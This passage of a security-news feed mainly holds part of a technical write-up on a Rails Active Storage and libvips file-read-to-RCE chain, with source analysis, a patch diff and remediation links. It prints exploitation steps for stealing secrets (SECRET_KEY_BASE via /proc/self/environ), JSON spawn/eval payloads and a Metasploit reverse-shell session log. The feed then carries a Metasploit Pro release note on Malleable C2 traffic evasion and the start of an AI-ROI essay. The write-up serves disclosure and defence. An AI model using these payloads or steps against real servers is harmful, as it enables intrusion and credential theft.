}</pre><p><span></span></p><p><span>At </span><span><span data-type="inlineCode">[13]</span></span><span>, libvips marks </span><span><span data-type="inlineCode">matload</span></span><span> as untrusted. At </span><span><span data-type="inlineCode">[14]</span></span><span>, it registers </span><span><span data-type="inlineCode">vips__mat_ismat</span></span><span> as the loader's sniffer. At </span><span><span data-type="inlineCode">[15]</span></span><span>, a file only needs to begin with </span><span><span data-type="inlineCode">MATLAB 5.0</span></span><span> for libvips to select </span><span><span data-type="inlineCode">matload</span></span><span>. A genuine MAT 7.3 file begins with </span><span><span data-type="inlineCode">MATLAB 7.3 MAT-file</span></span><span>, so it fails this check.</span></p><p></p><p><span>In libmatio </span><span><span data-type="inlineCode">1.5.28</span></span><span>, the descriptive text is not the format selector. libmatio reads the fixed version field at bytes 124 and 125:</span></p><p></p><pre language="c">enum mat_ft
{
    MAT_FT_MAT73 = 0x0200, /**&lt; @brief Matlab version 7.3 file */ // &lt;-- [16]
    MAT_FT_MAT5 = 0x0100,  /**&lt; @brief Matlab version 5 file   */
    MAT_FT_MAT4 = 0x0010,  /**&lt; @brief Matlab version 4 file   */
    MAT_FT_UNDEFINED = 0   /**&lt; @brief Undefined version       */
};</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[16]</span></span><span>, libmatio defines </span><span><span data-type="inlineCode">0x0200</span></span><span> as the MAT 7.3 format identifier.</span></p><p></p><pre language="c">Mat_Open(const char *matname, int mode)
{
    FILE *fp = NULL;
    mat_int16_t tmp, tmp2;
    mat_t *mat = NULL;
    size_t bytesread = 0;

    /* ... omitted: file opening and allocation ... */

    bytesread += fread(mat-&gt;header, 1, 116, fp);
    mat-&gt;header[116] = '\0';
    bytesread += fread(mat-&gt;subsys_offset, 1, 8, fp);
    bytesread += 2 * fread(&amp;tmp2, 2, 1, fp);
    bytesread += fread(&amp;tmp, 1, 2, fp);

    if ( 128 == bytesread ) {
        /* v5 and v7.3 files have at least 128 byte header */
        mat-&gt;byteswap = -1;
        if ( tmp == 0x4d49 )
            mat-&gt;byteswap = 0;
        else if ( tmp == 0x494d ) {
            mat-&gt;byteswap = 1;
            Mat_int16Swap(&amp;tmp2);
        }

        mat-&gt;version = (int)tmp2; // &lt;-- [17]
        if ( (mat-&gt;version == 0x0100 || mat-&gt;version == 0x0200) &amp;&amp; -1 != mat-&gt;byteswap ) {
            mat-&gt;bof = ftello((FILE *)mat-&gt;fp);
            if ( mat-&gt;bof == -1L ) {
                free(mat-&gt;header);
                free(mat-&gt;subsys_offset);
                free(mat);
                fclose(fp);
                Mat_Critical("Couldn't determine file position");
                return NULL;
            }
            mat-&gt;next_index = 0;
        } else {
            mat-&gt;version = 0;
        }
    }</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[17]</span></span><span>, </span><span><span data-type="inlineCode">Mat_Open</span></span><span> stores the two-byte version field read from bytes 124 and 125 in </span><span><span data-type="inlineCode">mat-&gt;version</span></span><span>. This is separate from the descriptive text that libvips already accepted at the beginning of the file.</span></p><p></p><pre language="c">static int
ReadData(mat_t *mat, matvar_t *matvar)
{
    if ( mat == NULL || matvar == NULL || mat-&gt;fp == NULL )
        return MATIO_E_BAD_ARGUMENT;
    else if ( mat-&gt;version == MAT_FT_MAT5 )
        return Mat_VarRead5(mat, matvar);
#if defined(MAT73) &amp;&amp; MAT73
    else if ( mat-&gt;version == MAT_FT_MAT73 )
        return Mat_VarRead73(mat, matvar); // &lt;-- [18]
#endif
    else if ( mat-&gt;version == MAT_FT_MAT4 )
        return Mat_VarRead4(mat, matvar);
    return MATIO_E_FAIL_TO_IDENTIFY;
}</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[18]</span></span><span>, </span><span><span data-type="inlineCode">ReadData</span></span><span> dispatches </span><span><span data-type="inlineCode">MAT_FT_MAT73</span></span><span> into the HDF5-backed reader. A crafted file can therefore say </span><span><span data-type="inlineCode">MATLAB 5.0</span></span><span> to libvips while still entering MAT 7.3 handling in libmatio. HDF5 userblocks make this possible: the crafted file can place a valid HDF5 superblock after a 512-byte leading block that contains the spoofed MAT header.</span></p><p></p><p><span>HDF5 datasets can use an external backing file, including a caller-chosen path and byte offset. libmatio eventually asks HDF5 to read the dataset:</span></p><p></p><pre language="c">static int
Mat_H5ReadData(hid_t dset_id, hid_t h5_type, hid_t mem_space, hid_t dset_space, int isComplex, void *data)
{
    herr_t herr;

    if ( !isComplex ) {
        herr = H5Dread(dset_id, h5_type, mem_space, dset_space, H5P_DEFAULT, data); // &lt;-- [19]
        if ( herr &lt; 0 ) {
            return MATIO_E_GENERIC_READ_ERROR;
        }</pre><p></p><p><span>Before </span><span><span data-type="inlineCode">[19]</span></span><span>, this read path does not check </span><span><span data-type="inlineCode">H5Pget_external_count()</span></span><span>. HDF5 resolves the external storage entry and copies bytes from the attacker-selected file into the MAT variable's data buffer. libvips then treats those bytes as image pixels and Active Storage returns them in the rendered representation.</span></p><p></p><p><span>The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims </span><span><span data-type="inlineCode">MATLAB 5.0</span></span><span> at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.</span></p><h3><span>Why variants are not required</span></h3><p><span>A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach </span><span><span data-type="inlineCode">Vips::Image.new_from_file</span></span><span> during image analysis after a blob is attached. Rails's forensic repository documents a </span><span><span data-type="inlineCode">MATLAB_empty</span></span><span> variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.</span></p><p></p><p><span>Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.</span></p><h3><span>Why the patch works</span></h3><p><span>The relevant </span><span><span data-type="inlineCode">v8.0.5</span></span><span> to </span><span><span data-type="inlineCode">v8.0.5.1</span></span><span> diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:</span></p><p></p><pre language="diff">diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+  begin
+    # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+    # before the lines below. Leaving it to load later, when the transformer first asks for it,
+    # would disable the loaders again after an application's initializers had re-enabled them.
+    require "image_processing/vips"
+  rescue LoadError
+    # image_processing is only needed to generate variants, not to analyze blobs.
+  end
+
+  unless Vips.respond_to?(:block_untrusted) # &lt;-- [20]
+    raise &lt;&lt;~ERROR.squish
+      libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+      cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+      later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+    ERROR
+  end
+
+  Vips.block_untrusted(true) # &lt;-- [21]
+end</pre><p></p><p><span>Active Storage's engine loads the Vips analyzer during initialization, so the new </span><span><span data-type="inlineCode">require "active_storage/vips"</span></span><span> runs during boot rather than waiting for a later representation request. At </span><span><span data-type="inlineCode">[20]</span></span><span>, patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At </span><span><span data-type="inlineCode">[21]</span></span><span>, it blocks those operations globally. Because </span><span><span data-type="inlineCode">matload</span></span><span> is marked </span><span><span data-type="inlineCode">VIPS_OPERATION_UNTRUSTED</span></span><span>, libvips skips it before the crafted file can reach libmatio.</span></p><h3><span>From file read to code execution</span></h3><p><span>The file read can recover arbitrary files readable by the Rails worker. On Linux, </span><span><span data-type="inlineCode">/proc/self/environ</span></span><span> is a useful first target because it may contain </span><span><span data-type="inlineCode">SECRET_KEY_BASE</span></span><span>, </span><span><span data-type="inlineCode">RAILS_MASTER_KEY</span></span><span>, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on </span><span><span data-type="inlineCode">/proc/self/environ</span></span><span> will miss applications that keep </span><span><span data-type="inlineCode">secret_key_base</span></span><span> in encrypted credentials or legacy </span><span><span data-type="inlineCode">secrets.yml</span></span><span> files. Useful read targets in those cases include </span><span><span data-type="inlineCode">config/master.key</span></span><span>, encrypted credential files, and legacy </span><span><span data-type="inlineCode">secrets.yml</span></span><span> paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.</span></p><p></p><p><span>Once an attacker has recovered </span><span><span data-type="inlineCode">secret_key_base</span></span><span> and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses </span><span><span data-type="inlineCode">instance_eval</span></span><span> for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:</span></p><p></p><pre language="json">{"send":["spawn","/bin/sh","-c","id"]}
{"send":["eval","File.write('/tmp/kr2s', %x{id})"]}</pre><p></p><p><span>In image_processing </span><span><span data-type="inlineCode">1.14.0</span></span><span>, </span><span><span data-type="inlineCode">Chainable#apply</span></span><span> invokes the attacker-controlled transformation name on the builder:</span></p><p><span></span></p><pre language="ruby">    def apply(operations)
      operations.inject(self) do |builder, (name, argument)|
        if argument == true || argument == nil
          builder.public_send(name)
        elsif argument.is_a?(Array)
          builder.public_send(name, *argument) # &lt;-- [22]
        elsif argument.is_a?(Hash)
          builder.public_send(name, **argument)
        else
          builder.public_send(name, argument)
        end
      end
    end</pre><p></p><p><span>At </span><span><span data-type="inlineCode">[22]</span></span><span>, a transformation named </span><span><span data-type="inlineCode">send</span></span><span> reaches the builder's public </span><span><span data-type="inlineCode">send</span></span><span> method. The first array element becomes a second method dispatch, which can invoke private </span><span><span data-type="inlineCode">Kernel#spawn</span></span><span> or </span><span><span data-type="inlineCode">Kernel#eval</span></span><span>. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because </span><span><span data-type="inlineCode">spawn</span></span><span> or </span><span><span data-type="inlineCode">eval</span></span><span> returns a non-builder value after the payload has already executed.</span></p><p></p><p><span>This RCE path does not depend on a Marshal object gadget. We validated it against Rails </span><span><span data-type="inlineCode">8.0.5</span></span><span> configured with </span><span><span data-type="inlineCode">config.active_support.message_serializer = :json</span></span><span>. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a </span><span><span data-type="inlineCode">Hash</span></span><span>, </span><span><span data-type="inlineCode">Array</span></span><span>, and </span><span><span data-type="inlineCode">String</span></span><span> structure rather than a deserialization gadget.</span></p><p></p><p><span>The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request </span><a href="https://github.com/rails/rails/pull/56995"><span>rails/rails#56995</span></a><span> discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.</span></p><h2>Exploitation</h2><p><span>Our </span><a href="https://github.com/rapid7/metasploit-framework/pull/21733" target="_self"><span>Metasploit module</span></a><span> follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against </span><span><span data-type="inlineCode">/proc/version</span></span><span>, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either </span><span><span data-type="inlineCode">send/spawn</span></span><span> for command payloads or </span><span><span data-type="inlineCode">send/eval</span></span><span> for native Ruby payloads.</span></p><p></p><p><span>The module uses the returned PNG representation instead of the narrower </span><span><span data-type="inlineCode">MATLAB_empty</span></span><span> metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer </span><span><span data-type="inlineCode">MATLAB_empty</span></span><span>, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses </span><span><span data-type="inlineCode">send/spawn</span></span><span> and </span><span><span data-type="inlineCode">send/eval</span></span><span>, which fit Metasploit command and Ruby payloads directly.</span></p><p></p><p><span>In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered </span><span><span data-type="inlineCode">SECRET_KEY_BASE</span></span><span> from </span><span><span data-type="inlineCode">/proc/self/environ</span></span><span>, signed a JSON variation, and opened a shell as the Rails process user:</span></p><p></p><pre language="shell-session">msf6 &gt; use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; set RHOSTS 127.0.0.1
RHOSTS =&gt; 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; set RPORT 3003
RPORT =&gt; 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; set LHOST 172.17.0.1
LHOST =&gt; 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened

msf6 exploit(multi/http/rails_activestorage_vips_rce) &gt; sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)</pre><p></p><p><span>The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.</span></p><p></p><p><span>Ethiack's published  1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square </span><span><span data-type="inlineCode">uint8</span></span><span> layouts with </span><span><span data-type="inlineCode">/dev/zero</span></span><span> columns between file bytes. With those columns, it can invert image_processing </span><span><span data-type="inlineCode">1.14.0</span></span><span>'s vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.</span></p><h2>Remediation</h2><p><span>For remediation guidance, see Rapid7's </span><a href="https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails/"><span>Emergent Threat Response blog</span></a><span> and the Rails </span><a href="https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm"><span>security advisory</span></a><span>. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips </span><span><span data-type="inlineCode">8.13</span></span><span> or later plus ruby-vips </span><span><span data-type="inlineCode">2.2.1</span></span><span> or later when ruby-vips is installed.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Pro 5.1 Released]]></title>
<description><![CDATA[Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consiste...]]></description>
<link>https://tsecurity.de/de/3701274/it-security-nachrichten/metasploit-pro-51-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701274/it-security-nachrichten/metasploit-pro-51-released/</guid>
<pubDate>Mon, 03 Aug 2026 20:18:47 +0200</pubDate>
<content:encoded><![CDATA[<p><span>Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by </span><a href="https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/" target="_blank" title="Metasploit Framework 6.5 Released"><span>Metasploit Framework 6.5</span></a><span>.</span></p><h2><span>Malleable C2 Profiles</span></h2><p></p><p><span>One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.</span></p><p><span>Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. </span><span><span data-type="inlineCode">meterpreter/reverse_https</span></span><span> and </span><span><span data-type="inlineCode">meterpreter_reverse_https</span></span><span>). This functionality is compatible with </span><a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles" target="_blank" title="Malleable C2 profiles"><span>publicly available profile libraries</span></a><span>.</span></p><h2><span>Profile support across the Pro UI</span></h2><p></p><p><span>Malleable C2 profiles are now available in every part of the workflow where a payload is configured:</span></p><ul><li><span><strong>Single Module Run:</strong></span><span> The module options page now includes a Malleable C2 section.</span></li><li><span><strong>Listeners (New &amp; Edit):</strong></span><span> You can now choose from profiles already uploaded to the server or upload a new </span><span><span data-type="inlineCode">.profile</span></span><span> file directly from your browser.</span></li><li><span><strong>Payload Generator:</strong></span><span> The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.</span><br></li></ul><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-1.png" asset-alt="mal-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" data-sys-asset-uid="blt00c8f7cfba369f9b" data-sys-asset-filename="mal-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-1.png" sys-style-type="display"></p><p><span><em>Figure 1 Malleable Profiles</em></span></p><h2><span>Improved Payload Section</span></h2><p><br><span>Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.</span></p><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-2.png" asset-alt="mal-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" data-sys-asset-uid="blt5b8c9d84c56f4976" data-sys-asset-filename="mal-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-2.png" sys-style-type="display"></p><p><span><em>Figure 2: Advanced Payload Options</em></span></p><p><span><em></em></span></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="select-1.png" asset-alt="select-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" data-sys-asset-uid="blt5386f342760bb33c" data-sys-asset-filename="select-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="select-1.png" sys-style-type="display"></p><p><span><em>Figure 3: Additional Payload Options</em></span></p><h2><span>Service Hierarchy Tracking Support</span></h2><p></p><p><span>The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.</span></p><ul><li><span><strong>Service hierarchy visibility:</strong></span><span> The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.</span></li><li><span><strong>Search and sort across all columns:</strong></span><span> You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.</span></li><li><span><strong>Inline editing:</strong></span><span> Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.</span></li></ul><p><span></span></p><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-1.png" asset-alt="service-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" data-sys-asset-uid="blte99ed4bec8ace3d0" data-sys-asset-filename="service-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-1.png" sys-style-type="display"></p><p><span><em>Figure 4: Service Options</em></span></p><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-2.png" asset-alt="service-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" data-sys-asset-uid="blte899cf4f4f3abbe0" data-sys-asset-filename="service-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-2.png" sys-style-type="display"></p><p><span><em>Figure 5: Service </em></span><em>Hierarchy</em><span><em> Display</em></span></p><h2><span>Network Topology Enhancements</span><br></h2><p><span>Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.</span></p><h2><span>Rich host information panels</span></h2><p></p><p><span>Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:</span></p><ul><li><span><strong>Sessions:</strong></span><span> all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.</span></li><li><span><strong>Loot: </strong></span><span>captured loot items associated with the host, including type, name, and content type.</span></li><li><span><strong>Credentials:</strong></span><span> cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.</span></li><li><span><strong>Modules run:</strong></span><span> a list of every module that has been executed against the host.</span></li><li><span><strong>Tags:</strong></span><span> any tags applied to the host or its sessions.</span></li></ul><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-1.png" asset-alt="info-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" data-sys-asset-uid="blt099cc5a0c6188dc7" data-sys-asset-filename="info-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-1.png" sys-style-type="display"></p><p><span><em>Figure 6: Network Topology Display</em></span></p><h2><span>New filter options</span></h2><p></p><p><span>The topology graph toolbar has three new filters to help focus on the hosts that matter:</span></p><ul><li><span><strong>Filter by bruteforce</strong></span><span> - highlight services that can be bruteforced remotely on a host.</span></li><li><span><strong>Filter by tag</strong></span><span> - narrow the graph to hosts carrying a specific session or host tag.</span></li><li><span><strong>Filter by username</strong></span><span> - show only hosts where a particular user account has been compromised.</span></li><li><span><strong>Filter by module</strong></span><span> - surface hosts that have had a specific module run against them.</span></li></ul><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-2.png" asset-alt="info-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" data-sys-asset-uid="bltea875f08e2fd2aa2" data-sys-asset-filename="info-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-2.png" sys-style-type="display"></p><p><span><em>Figure 7: Network Topology Graph Filter Options</em></span></p><p><span><em></em></span></p><h2><span>Discovered Vulnerabilities - Modern UI</span></h2><p></p><p><span>The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.</span></p><p><span>Key improvements:</span></p><ul><li><span><strong>High level view and granular views</strong></span><span> - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.</span></li><li><span><strong>Inline editing</strong></span><span> - vulnerability details can be edited directly from the table without navigating to a separate page.</span></li><li><span><strong>Nexpose integration preserved</strong></span><span> - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.</span></li></ul><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="disc-1.png" asset-alt="disc-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" data-sys-asset-uid="blta640a6584832d135" data-sys-asset-filename="disc-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="disc-1.png" sys-style-type="display"></p><p><span><em>Figure 8: Discovered Vulnerabilities Modern UI</em></span></p><h2><span>Attack technique filtering support</span></h2><p></p><p><span>MITRE ATT&amp;CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&amp;CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:</span></p><p><span></span></p><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mod-1.png" asset-alt="mod-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" data-sys-asset-uid="blt660c6c699331ea15" data-sys-asset-filename="mod-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mod-1.png" sys-style-type="display"></p><p><span><em>Figure 9: Attack Technique Filtering Search</em></span></p><h2><span>Upgrading</span></h2><p></p><p><span>Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the </span><a href="https://help.metasploit.com/Content/managing-updating-metasploit/updating-metasploit.html" target="_blank" title="Metasploit Updates"><span>Metasploit Pro documentation</span></a><span>.</span></p><p><span>These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI’s measurement crisis is over. The translation crisis is next]]></title>
<description><![CDATA[Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was MIT’s “GenAI Divide” report, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilot...]]></description>
<link>https://tsecurity.de/de/3701255/it-security-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701255/it-security-nachrichten/ais-measurement-crisis-is-over-the-translation-crisis-is-next/</guid>
<pubDate>Mon, 03 Aug 2026 20:16:54 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">Last fall, you couldn’t open a business publication without tripping over some version of the same headline: where is the ROI for AI? The anchor for most of that coverage was <a href="https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/">MIT’s “GenAI Divide” report</a>, which found that despite $30 to 40 billion in enterprise generative AI spending, 95% of pilots delivered no measurable P&amp;L impact. The bubble takes wrote themselves. Boards asked uncomfortable questions. More than a few AI budgets went into the freezer for the winter.</p>



<p class="wp-block-paragraph">Here’s the detail that got lost in the panic: the study defined success as measurable KPI impact within six months of the pilot. Read that again. A project that transformed how a team worked but was never instrumented to prove it counted as a failure. <a href="https://exec-ed.berkeley.edu/2025/09/beyond-roi-are-we-using-the-wrong-metric-in-measuring-ai-success/">Researchers at UC Berkeley pushed back</a> on exactly this point, arguing that the 95% figure may represent 95% of organizations measuring the wrong things at the wrong time rather than 95% of projects failing to create value.</p>



